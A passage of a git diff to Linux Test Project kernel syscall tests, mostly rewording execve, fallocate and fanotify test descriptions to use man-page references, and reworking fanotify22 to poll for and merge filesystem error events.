TST_FD_FSPICK: case TST_FD_OPEN_TREE: diff --git a/ltp/testcases/kernel/syscalls/execve/execve01.c b/ltp/testcases/kernel/syscalls/execve/execve01.c index 53f0475e..362c5a9b 100644 --- a/ltp/testcases/kernel/syscalls/execve/execve01.c +++ b/ltp/testcases/kernel/syscalls/execve/execve01.c @@ -1,22 +1,20 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2018 Linux Test Project + * Copyright (c) 2018-2025 Linux Test Project * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz> * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * AUTHOR : William Roske - * CO-PILOT : Dave Fenner + * Authors: William Roske, Dave Fenner */ -#include <errno.h> #include <string.h> -#include <signal.h> #include <stdio.h> -#include <stdlib.h> -#include <sys/types.h> -#include <sys/wait.h> - #include "tst_test.h" +/*\ + * Test :manpage:`execve(2)` passes correctly argv[1] and environment variable to the + * executed binary. + */ + static void verify_execve(void) { pid_t pid; diff --git a/ltp/testcases/kernel/syscalls/execve/execve02.c b/ltp/testcases/kernel/syscalls/execve/execve02.c index e7b2adca..2bf17212 100644 --- a/ltp/testcases/kernel/syscalls/execve/execve02.c +++ b/ltp/testcases/kernel/syscalls/execve/execve02.c @@ -8,15 +8,14 @@ * 21/04/2008 Renaud Lottiaux (Renaud.Lottiaux@kerlabs.com) */ -/* - * Attempt to execve(2) an executable owned by root with no execute permissions - * for the other users, fails when execve(2) is used as a non-root user, the - * errno should be EACCES. +/*\ + * Attempt to :manpage:`execve(2)` an executable owned by root with no execute + * permissions for the other users, fails when :manpage:`execve(2)` is used as + * a non-root user, the errno should be EACCES. */ -#ifndef _GNU_SOURCE #define _GNU_SOURCE -#endif + #include <sys/types.h> #include <sys/stat.h> #include <errno.h> diff --git a/ltp/testcases/kernel/syscalls/execve/execve03.c b/ltp/testcases/kernel/syscalls/execve/execve03.c index 3d732657..a3e1b240 100644 --- a/ltp/testcases/kernel/syscalls/execve/execve03.c +++ b/ltp/testcases/kernel/syscalls/execve/execve03.c @@ -6,38 +6,19 @@ * Ported to LTP: Wayne Boyer */ -/* - * Testcase to check execve sets the following errnos correctly: - * 1. ENAMETOOLONG - * 2. ENOENT - * 3. ENOTDIR - * 4. EFAULT - * 5. EACCES - * 6. ENOEXEC - * - * ALGORITHM - * 1. Attempt to execve(2) a file whose name is more than - * VFS_MAXNAMLEN fails with ENAMETOOLONG. - * - * 2. Attempt to execve(2) a file which doesn't exist fails with - * ENOENT. - * - * 3. Attempt to execve(2) a pathname (executabl) comprising of a - * directory, which doesn't exist fails with ENOTDIR. +/*\ + * Test to check :manpage:`execve(2)` sets the following errnos correctly: * - * 4. Attempt to execve(2) a filename not within the address space - * of the process fails with EFAULT. - * - * 5. Attempt to execve(2) a filename that does not have executable - * permission - fails with EACCES. - * - * 6. Attempt to execve(2) a zero length file with executable - * permissions - fails with ENOEXEC. + * 1. ENAMETOOLONG -- the file name is greater than VFS_MAXNAMELEN + * 2. ENOENT -- the filename does not exist + * 3. ENOTDIR -- the path contains a directory name which doesn't exist + * 4. EFAULT -- the filename isn't part of the process address space + * 5. EACCES -- the filename does not have execute permission + * 6. ENOEXEC -- the file is zero length with execute permissions */ -#ifndef _GNU_SOURCE #define _GNU_SOURCE -#endif + #include <sys/types.h> #include <sys/mman.h> #include <sys/stat.h> @@ -67,11 +48,8 @@ static struct tcase { {no_dir, ENOENT}, /* the path contains a directory name which doesn't exist - ENOTDIR */ {test_name3, ENOTDIR}, - /* the filename isn't part of the process address space - EFAULT */ {NULL, EFAULT}, - /* the filename does not have execute permission - EACCES */ {test_name5, EACCES}, - /* the file is zero length with execute permissions - ENOEXEC */ {test_name6, ENOEXEC} }; diff --git a/ltp/testcases/kernel/syscalls/execve/execve04.c b/ltp/testcases/kernel/syscalls/execve/execve04.c index 7b475dd1..35ec882a 100644 --- a/ltp/testcases/kernel/syscalls/execve/execve04.c +++ b/ltp/testcases/kernel/syscalls/execve/execve04.c @@ -9,13 +9,12 @@ */ /*\ - * Attempt to execve(2) a file which is being opened by another process for + * Attempt to :manpage:`execve(2)` a file which is being opened by another process for * writing fails with ETXTBSY. */ -#ifndef _GNU_SOURCE #define _GNU_SOURCE -#endif + #include <sys/types.h> #include <sys/wait.h> #include <errno.h> diff --git a/ltp/testcases/kernel/syscalls/execve/execve05.c b/ltp/testcases/kernel/syscalls/execve/execve05.c index ec0fc102..352c73c3 100644 --- a/ltp/testcases/kernel/syscalls/execve/execve05.c +++ b/ltp/testcases/kernel/syscalls/execve/execve05.c @@ -7,8 +7,8 @@ */ /*\ - * This tests the functionality of the execve(2) system call by spawning - * a few children, each of which would execute "execve_child" simultaneously, + * This tests the functionality of the execve(2) :manpage:`execve(2)` call by spawning + * a few children, each of which would execute "execve_child" binary simultaneously, * and finally the parent ensures that they terminated correctly. */ diff --git a/ltp/testcases/kernel/syscalls/execve/execve06.c b/ltp/testcases/kernel/syscalls/execve/execve06.c index f0ce990d..55f5d711 100644 --- a/ltp/testcases/kernel/syscalls/execve/execve06.c +++ b/ltp/testcases/kernel/syscalls/execve/execve06.c @@ -5,7 +5,7 @@ /*\ * Test that kernel adds dummy argv[0] if empty argument list was passed to - * execve(). This fixes at least one CVE where userspace programs start to + * :manpage:`execve(2)`. This fixes at least one CVE where userspace programs start to * process argument list blindly from argv[1] such as polkit pkexec * CVE-2021-4034. * diff --git a/ltp/testcases/kernel/syscalls/fallocate/fallocate01.c b/ltp/testcases/kernel/syscalls/fallocate/fallocate01.c index 383796c9..d21936eb 100644 --- a/ltp/testcases/kernel/syscalls/fallocate/fallocate01.c +++ b/ltp/testcases/kernel/syscalls/fallocate/fallocate01.c @@ -99,7 +99,7 @@ #include <sys/utsname.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/fallocate.h" #include "lapi/fcntl.h" diff --git a/ltp/testcases/kernel/syscalls/fallocate/fallocate02.c b/ltp/testcases/kernel/syscalls/fallocate/fallocate02.c index bb719d78..4469f02f 100644 --- a/ltp/testcases/kernel/syscalls/fallocate/fallocate02.c +++ b/ltp/testcases/kernel/syscalls/fallocate/fallocate02.c @@ -39,7 +39,7 @@ #include <limits.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/fallocate.h" #include "lapi/abisize.h" diff --git a/ltp/testcases/kernel/syscalls/fallocate/fallocate03.c b/ltp/testcases/kernel/syscalls/fallocate/fallocate03.c index dc15b876..dda76492 100644 --- a/ltp/testcases/kernel/syscalls/fallocate/fallocate03.c +++ b/ltp/testcases/kernel/syscalls/fallocate/fallocate03.c @@ -8,7 +8,7 @@ */ /*\ - * Test fallocate() on sparse file for different offsets, with a total of 8 test cases + * Test :manpage:`fallocate(2)` on sparse file for different offsets. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fallocate/fallocate04.c b/ltp/testcases/kernel/syscalls/fallocate/fallocate04.c index 3a8ea5fa..eb3486d3 100644 --- a/ltp/testcases/kernel/syscalls/fallocate/fallocate04.c +++ b/ltp/testcases/kernel/syscalls/fallocate/fallocate04.c @@ -2,9 +2,15 @@ /* * Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved. * Author: Alexey Kodanev <alexey.kodanev@oracle.com> + */ + +/*\ + * Test :manpage:`fallocate(2)` a file with specified size then tests + * the following modes: * - * Test allocates a file with specified size then tests the following modes: - * FALLOC_FL_PUNCH_HOLE, FALLOC_FL_ZERO_RANGE and FALLOC_FL_COLLAPSE_RANGE. + * - FALLOC_FL_PUNCH_HOLE + * - FALLOC_FL_ZERO_RANGE + * - FALLOC_FL_COLLAPSE_RANGE */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fallocate/fallocate05.c b/ltp/testcases/kernel/syscalls/fallocate/fallocate05.c index f17cc993..bbcc1fe4 100644 --- a/ltp/testcases/kernel/syscalls/fallocate/fallocate05.c +++ b/ltp/testcases/kernel/syscalls/fallocate/fallocate05.c @@ -4,16 +4,18 @@ * Copyright (c) 2019 SUSE LLC <mdoucha@suse.cz> */ -/* +/*\ * Tests that writing to fallocated file works when filesystem is full. - * Test scenario: - * - fallocate() some empty blocks + * + * [Algorithm] + * + * - :manpage:`fallocate(2)` some empty blocks * - fill the filesystem - * - write() into the preallocated space - * - try to fallocate() more blocks until we get ENOSPC - * - write() into the extra allocated space + * - :manpage:`write(2)` into the preallocated space + * - try to :manpage:`fallocate(2)` more blocks until we get ENOSPC + * - :manpage:`write(2)` into the extra allocated space * - deallocate part of the file - * - write() to the end of file to check that some blocks were freed + * - :manpage:`write(2)` to the end of file to check that some blocks were freed */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fallocate/fallocate06.c b/ltp/testcases/kernel/syscalls/fallocate/fallocate06.c index 3730bddc..92c85e37 100644 --- a/ltp/testcases/kernel/syscalls/fallocate/fallocate06.c +++ b/ltp/testcases/kernel/syscalls/fallocate/fallocate06.c @@ -4,17 +4,17 @@ */ /*\ - * Tests misaligned fallocate() + * Tests misaligned :manpage:`fallocate(2)` * - * Test scenario: + * [Test scenario] * - * 1. write() several blocks worth of data - * 2. fallocate() some more space (not aligned to FS blocks) - * 3. try to write() into the allocated space + * 1. :manpage:`write(2)` several blocks worth of data + * 2. :manpage:`fallocate(2)` some more space (not aligned to FS blocks) + * 3. try to :manpage:`write(2)` into the allocated space * 4. deallocate misaligned part of file range written in step 1 - * 5. read() the deallocated range and check that it was zeroed + * 5. :manpage:`read(2)` the deallocated range and check that it was zeroed * - * Subtests: + * [Subtests] * * - fill filesystem between step 2 and 3 * - disable copy-on-write on test file diff --git a/ltp/testcases/kernel/syscalls/fanotify/.gitignore b/ltp/testcases/kernel/syscalls/fanotify/.gitignore index 16af3db8..d6d0599f 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/.gitignore +++ b/ltp/testcases/kernel/syscalls/fanotify/.gitignore @@ -22,4 +22,5 @@ /fanotify22 /fanotify23 /fanotify24 +/fanotify25 /fanotify_child diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify01.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify01.c index df50d84a..4f8679d0 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify01.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify01.c @@ -6,7 +6,7 @@ */ /*\ - * Check that fanotify work for a file. + * Check that :manpage:`fanotify(7)` works for a file. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify02.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify02.c index 34c77967..9af38f99 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify02.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify02.c @@ -6,7 +6,7 @@ */ /*\ - * Check that fanotify work for children of a directory. + * Check that :manpage:`fanotify(7)` works for children of a directory. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify03.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify03.c index 876f6c3d..64384c90 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify03.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify03.c @@ -6,7 +6,7 @@ */ /*\ - * Check that fanotify permission events work. + * Check that :manpage:`fanotify(7)` permission events work. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify04.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify04.c index 9625e6f9..efdbf416 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify04.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify04.c @@ -6,7 +6,7 @@ */ /*\ - * Check various fanotify special flags. + * Check various :manpage:`fanotify(7)` special flags. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify05.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify05.c index 5d97e036..f60c9e2a 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify05.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify05.c @@ -6,9 +6,10 @@ */ /*\ - * Check that fanotify overflow event is properly generated. + * Check that :manpage:`fanotify(7)` overflow event is properly generated. * * [Algorithm] + * * Generate enough events without reading them and check that overflow * event is generated. */ diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify06.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify06.c index 2e93840f..565142bf 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify06.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify06.c @@ -6,7 +6,8 @@ */ /*\ - * Check that fanotify properly merges ignore mask of an inode and mountpoint. + * Check that :manpage:`fanotify(7)` properly merges ignore mask of an inode and + * mountpoint. */ /* diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify07.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify07.c index 7734b185..2358660a 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify07.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify07.c @@ -6,7 +6,8 @@ */ /*\ - * Check that fanotify permission events are handled properly on instance destruction. + * Check that :manpage:`fanotify(7)` permission events are handled properly on + * instance destruction. */ /* diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify08.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify08.c index abbf0b8a..e1fb6e93 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify08.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify08.c @@ -6,7 +6,8 @@ */ /*\ - * Sanity check fanotify_init flag FAN_CLOEXEC by fcntl. + * Sanity check :manpage:`fanotify_init(2)` flag FAN_CLOEXEC by + * :manpage:`fcntl(2)`. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify09.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify09.c index 2ed3d1eb..e2d0bffa 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify09.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify09.c @@ -6,8 +6,8 @@ */ /*\ - * Check that fanotify handles events on children correctly when both parent and - * subdir or mountpoint marks exist. + * Check that :manpage:`fanotify(7)` handles events on children correctly when + * both parent and subdir or mountpoint marks exist. */ /* diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify10.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify10.c index 2d33416f..41f13408 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify10.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify10.c @@ -8,10 +8,10 @@ */ /*\ - * Check that fanotify properly merges ignore mask of a mount mark - * with a mask of an inode mark on the same group. Unlike the - * prototype test fanotify06, do not use FAN_MODIFY event for the - * test mask, because it hides the bug. + * Check that :manpage:`fanotify(7)` properly merges ignore mask of a mount mark + * with a mask of an inode mark on the same group. Unlike the prototype test + * fanotify06, do not use FAN_MODIFY event for the test mask, because it hides + * the bug. */ /* diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify11.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify11.c index 594d5f9d..bfa96fa2 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify11.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify11.c @@ -6,7 +6,7 @@ */ /*\ - * After fanotify_init adds flags FAN_REPORT_TID, + * After :manpage:`fanotify_init(2)` adds flags FAN_REPORT_TID, * check whether the program can accurately identify which thread id * in the multithreaded program triggered the event. */ diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify12.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify12.c index e5624835..005daa2b 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify12.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify12.c @@ -6,7 +6,9 @@ */ /*\ - * Validate that the newly introduced FAN_OPEN_EXEC mask functions as expected. + * Validate that the newly introduced :manpage:`fanotify_mark(2)` FAN_OPEN_EXEC + * mask functions as expected. + * * The idea is to generate a sequence of open related actions to ensure that * the correct event flags are being set depending on what event mask was * requested when the object was marked. diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify13.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify13.c index 32b2b823..76d40eaf 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify13.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify13.c @@ -6,9 +6,10 @@ */ /*\ - * Validate that the values returned within an event when FAN_REPORT_FID is - * specified matches those that are obtained via explicit invocation to system - * calls statfs(2) and name_to_handle_at(2). + * Validate that the values returned within an event when + * :manpage:`fanotify_init(2)` FAN_REPORT_FID is specified matches those that + * are obtained via explicit invocation to system calls :manpage:`statfs(2)` and + * :manpage:`name_to_handle_at(2)`. */ /* diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify14.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify14.c index a00ca975..cb6b8b22 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify14.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify14.c @@ -7,10 +7,10 @@ */ /*\ - * This test file has been designed to ensure that the fanotify - * system calls fanotify_init(2) and fanotify_mark(2) return the - * correct error code to the calling process when an invalid flag or - * mask value has been specified in conjunction with FAN_REPORT_FID. + * This test file has been designed to ensure that :manpage:`fanotify_init(2)` + * and :manpage:`fanotify_mark(2)` return the correct error code to the calling + * process when an invalid flag or mask value has been specified in conjunction + * with FAN_REPORT_FID. */ /* diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify15.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify15.c index 2218dd66..494e4314 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify15.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify15.c @@ -7,13 +7,13 @@ */ /*\ - * Test file that has been purposely designed to verify FAN_REPORT_FID - * functionality while using newly defined dirent events. + * Verify FAN_REPORT_FID functionality while using newly defined + * :manpage:`fanotify_init(2)` dirent events. */ /* - * Test case #1 is a regression test for commit f367a62a7cad: - * fanotify: merge duplicate events on parent and child + * Test case #1 is a regression test for commit + * f367a62a7cad ("fanotify: merge duplicate events on parent and child") */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify16.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify16.c index d4ad65bc..f6563aec 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify16.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify16.c @@ -6,8 +6,8 @@ */ /*\ - * Check fanotify directory entry modification events, events on child and - * on self with group init flags: + * Check :manpage:`fanotify_init(2)` directory entry modification events, events on + * child and on self with group init flags: * * - FAN_REPORT_DFID_NAME (dir fid + name) * - FAN_REPORT_DIR_FID (dir fid) diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify17.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify17.c index f6e282e7..fa563a3c 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify17.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify17.c @@ -8,10 +8,10 @@ */ /*\ - * Check that fanotify groups and marks limits are enforced correctly. - * If user ns is supported, verify that global limit and per user ns - * limits are both enforced. - * Otherwise, we only check that global groups limit is enforced. + * Check that :manpage:`fanotify(7)` groups and marks limits are enforced + * correctly. If user ns is supported, verify that global limit and per user ns + * limits are both enforced. Otherwise, we only check that global groups limit + * is enforced. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify18.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify18.c index 4fd99746..98e7d940 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify18.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify18.c @@ -7,8 +7,8 @@ /*\ * This set of tests is to ensure that the unprivileged listener feature of - * fanotify is functioning as expected. The objective this test case file - * is to validate whether any forbidden flags that are passed by an + * :manpage:`fanotify(7)` is functioning as expected. The objective this test + * case file is to validate whether any forbidden flags that are passed by an * unprivileged user return the correct error result. */ diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify19.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify19.c index 80790955..f3180fb7 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify19.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify19.c @@ -7,10 +7,10 @@ /*\ * This set of tests is to ensure that the unprivileged listener feature of - * fanotify is functioning as expected. The objective of this test file is - * to generate a sequence of events and ensure that the returned events - * contain the limited values that an unprivileged listener is expected - * to receive. + * :manpage:`fanotify(7)` is functioning as expected. The objective of this test + * file is to generate a sequence of events and ensure that the returned events + * contain the limited values that an unprivileged listener is expected to + * receive. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify20.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify20.c index 82d20492..b32ecf6a 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify20.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify20.c @@ -7,13 +7,14 @@ */ /*\ - * This source file contains a test case which ensures that the fanotify API - * returns an expected error code when provided an invalid initialization flag - * alongside FAN_REPORT_PIDFD. Additionally, it checks that the operability with - * existing FAN_REPORT_* flags is maintained and functioning as intended. + * This source file contains a test case which ensures that the + * :manpage:`fanotify(7)` API returns an expected error code when provided an + * invalid initialization flag alongside FAN_REPORT_PIDFD. Additionally, it + * checks that the operability with existing FAN_REPORT_* flags is maintained + * and functioning as intended. * - * NOTE: FAN_REPORT_PIDFD support was added in v5.15-rc1 in af579beb666a - * ("fanotify: add pidfd support to the fanotify API"). + * NOTE: FAN_REPORT_PIDFD support was added in v5.15-rc1 in + * af579beb666a ("fanotify: add pidfd support to the fanotify API"). */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify21.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify21.c index c95895c9..340fb001 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify21.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify21.c @@ -6,12 +6,12 @@ */ /*\ - * A test which verifies whether the returned struct - * fanotify_event_info_pidfd in FAN_REPORT_PIDFD mode contains the - * expected set of information. + * Test verifies whether the returned struct fanotify_event_info_pidfd in + * :manpage:`fanotify(7)` FAN_REPORT_PIDFD mode contains the expected set of + * information. * - * NOTE: FAN_REPORT_PIDFD support was added in v5.15-rc1 in af579beb666a - * ("fanotify: add pidfd support to the fanotify API"). + * NOTE: FAN_REPORT_PIDFD support was added in v5.15-rc1 in + * af579beb666a ("fanotify: add pidfd support to the fanotify API"). */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify22.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify22.c index 357e74db..a0be9412 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify22.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify22.c @@ -7,7 +7,7 @@ */ /*\ - * Check fanotify FAN_ERROR_FS events triggered by intentionally + * Check :manpage:`fanotify(7)` FAN_ERROR_FS events triggered by intentionally * corrupted filesystems: * * - Generate a broken filesystem @@ -28,6 +28,7 @@ #include "tst_test.h" #include <sys/fanotify.h> #include <sys/types.h> +#include <poll.h> #ifdef HAVE_SYS_FANOTIFY_H #include "fanotify.h" @@ -88,7 +89,6 @@ static void trigger_bad_link_lookup(void) ret, BAD_LINK, errno, EUCLEAN); } - static void tcase3_trigger(void) { trigger_bad_link_lookup(); @@ -104,6 +104,7 @@ static void tcase4_trigger(void) static struct test_case { char *name; int error; + int error2; unsigned int error_count; struct fanotify_fid_t *fid; void (*trigger_error)(void); @@ -134,37 +135,78 @@ static struct test_case { .trigger_error = &tcase4_trigger, .error_count = 2, .error = EFSCORRUPTED, + .error2 = ESHUTDOWN, .fid = &bad_file_fid, } }; +static struct fanotify_event_metadata *consolidate_events(char *buf, size_t len, const struct test_case *ex) +{ + struct fanotify_event_metadata *metadata, *primary = NULL; + struct fanotify_event_info_error *info, *primary_info = NULL; + unsigned int total_count = 0; + int event_num = 0; + + for (metadata = (struct fanotify_event_metadata *)buf; + FAN_EVENT_OK(metadata, len); + metadata = FAN_EVENT_NEXT(metadata, len)) { + event_num++; + info = get_event_info_error(metadata); + + if (!info) { + tst_res(TFAIL, "Event [%d] missing error info", event_num); + continue; + } + + if (info->error != ex->error && (ex->error2 == 0 || info->error != ex->error2)) { + tst_res(TFAIL, "Event [%d] unexpected errno (%d)", + event_num, info->error); + continue; + } + + if (!primary && info->error == ex->error) { + primary = metadata; + primary_info = info; + } + total_count += info->error_count; + + tst_res(TINFO, "Event [%d]: errno=%d, error_count=%d", + event_num, info->error, info->error_count); + } + + if (primary_info) + primary_info->error_count = total_count; + + return primary; +} + static int check_error_event_info_fid(struct fanotify_event_info_fid *fid, const struct test_case *ex) { struct file_handle *fh = (struct file_handle *) &fid->handle; if (memcmp(&fid->fsid, &ex->fid->fsid, sizeof(fid->fsid))) { - tst_res(TFAIL, "%s: Received bad FSID type (%x...!=%x...)", - ex->name, FSID_VAL_MEMBER(fid->fsid, 0), + tst_res(TFAIL, "Received bad FSID type (%x...!=%x...)", + FSID_VAL_MEMBER(fid->fsid, 0), ex->fid->fsid.val[0]); return 1; } if (fh->handle_type != ex->fid->handle.handle_type) { - tst_res(TFAIL, "%s: Received bad file_handle type (%d!=%d)", - ex->name, fh->handle_type, ex->fid->handle.handle_type); + tst_res(TFAIL, "Received bad file_handle type (%d!=%d)", + fh->handle_type, ex->fid->handle.handle_type); return 1; } if (fh->handle_bytes != ex->fid->handle.handle_bytes) { - tst_res(TFAIL, "%s: Received bad file_handle len (%d!=%d)", - ex->name, fh->handle_bytes, ex->fid->handle.handle_bytes); + tst_res(TFAIL, "Received bad file_handle len (%d!=%d)", + fh->handle_bytes, ex->fid->handle.handle_bytes); return 1; } if (memcmp(fh->f_handle, ex->fid->handle.f_handle, fh->handle_bytes)) { - tst_res(TFAIL, "%s: Received wrong handle. " - "Expected (%x...) got (%x...) ", ex->name, + tst_res(TFAIL, "Received wrong handle. " + "Expected (%x...) got (%x...) ", *(int *)ex->fid->handle.f_handle, *(int *)fh->f_handle); return 1; } @@ -177,14 +219,15 @@ static int check_error_event_info_error(struct fanotify_event_info_error *info_e int fail = 0; if (info_error->error_count != ex->error_count) { - tst_res(TFAIL, "%s: Unexpected error_count (%d!=%d)", - ex->name, info_error->error_count, ex->error_count); + tst_res(TFAIL, "Unexpected error_count (%d!=%d)", + info_error->error_count, ex->error_count); fail++; } - if (info_error->error != ex->error) { - tst_res(TFAIL, "%s: Unexpected error code value (%d!=%d)", - ex->name, info_error->error, ex->error); + if (info_error->error != ex->error && + (ex->error2 == 0 || info_error->error != ex->error2)) { + tst_res(TFAIL, "Unexpected error code value (%d!=%d)", + info_error->error, ex->error); fail++; } @@ -248,19 +291,60 @@ static void check_event(char *buf, size_t len, const struct test_case *ex) static void do_test(unsigned int i) { const struct test_case *tcase = &testcases[i]; - size_t read_len; + struct fanotify_event_metadata *m, *primary; + struct fanotify_event_info_error *e; + char *current_pos; + ssize_t ret; + size_t read_len = 0; + struct pollfd pfd; + unsigned int accumulated_count = 0; + + tst_res(TINFO, "Test case: %s", tcase->name); SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD|FAN_MARK_FILESYSTEM, FAN_FS_ERROR, AT_FDCWD, MOUNT_PATH); tcase->trigger_error(); - read_len = SAFE_READ(0, fd_notify, event_buf, BUF_SIZE); + pfd.fd = fd_notify; + pfd.events = POLLIN; + + while (accumulated_count < tcase->error_count) { + if (poll(&pfd, 1, 5000) <= 0) { + tst_res(TFAIL, "Timeout waiting for events"); + goto out; + } + + if (BUF_SIZE - read_len < FAN_EVENT_METADATA_LEN) + tst_brk(TBROK, "Insufficient buffer space for next event"); + + current_pos = event_buf + read_len; + ret = SAFE_READ(0, fd_notify, current_pos, BUF_SIZE - read_len); + + m = (struct fanotify_event_metadata *)current_pos; + while (FAN_EVENT_OK(m, ret)) { + e = get_event_info_error(m); + + if (e) + accumulated_count += e->error_count; + + read_len += m->event_len; + m = FAN_EVENT_NEXT(m, ret); + } + } + + primary = consolidate_events(event_buf, read_len, tcase); + + if (primary) + check_event((char *)primary, primary->event_len, tcase); + else + tst_res(TFAIL, "No primary error event found"); + +out: SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_REMOVE|FAN_MARK_FILESYSTEM, FAN_FS_ERROR, AT_FDCWD, MOUNT_PATH); - check_event(event_buf, read_len, tcase); /* Unmount and mount the filesystem to get it out of the error state */ SAFE_UMOUNT(MOUNT_PATH); SAFE_MOUNT(tst_device->dev, MOUNT_PATH, tst_device->fs_type, 0, NULL); @@ -327,9 +411,9 @@ static struct tst_test test = { {"linux-git", "76486b104168"}, {} }, - .needs_cmds = (const char *[]) { - "debugfs", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "debugfs"}, + {} } }; diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify23.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify23.c index 36c7779d..0b8d0861 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify23.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify23.c @@ -6,7 +6,7 @@ */ /*\ - * Check evictable fanotify inode marks. + * Check evictable :manpage:`fanotify(7)` inode marks. */ #define _GNU_SOURCE diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify24.c 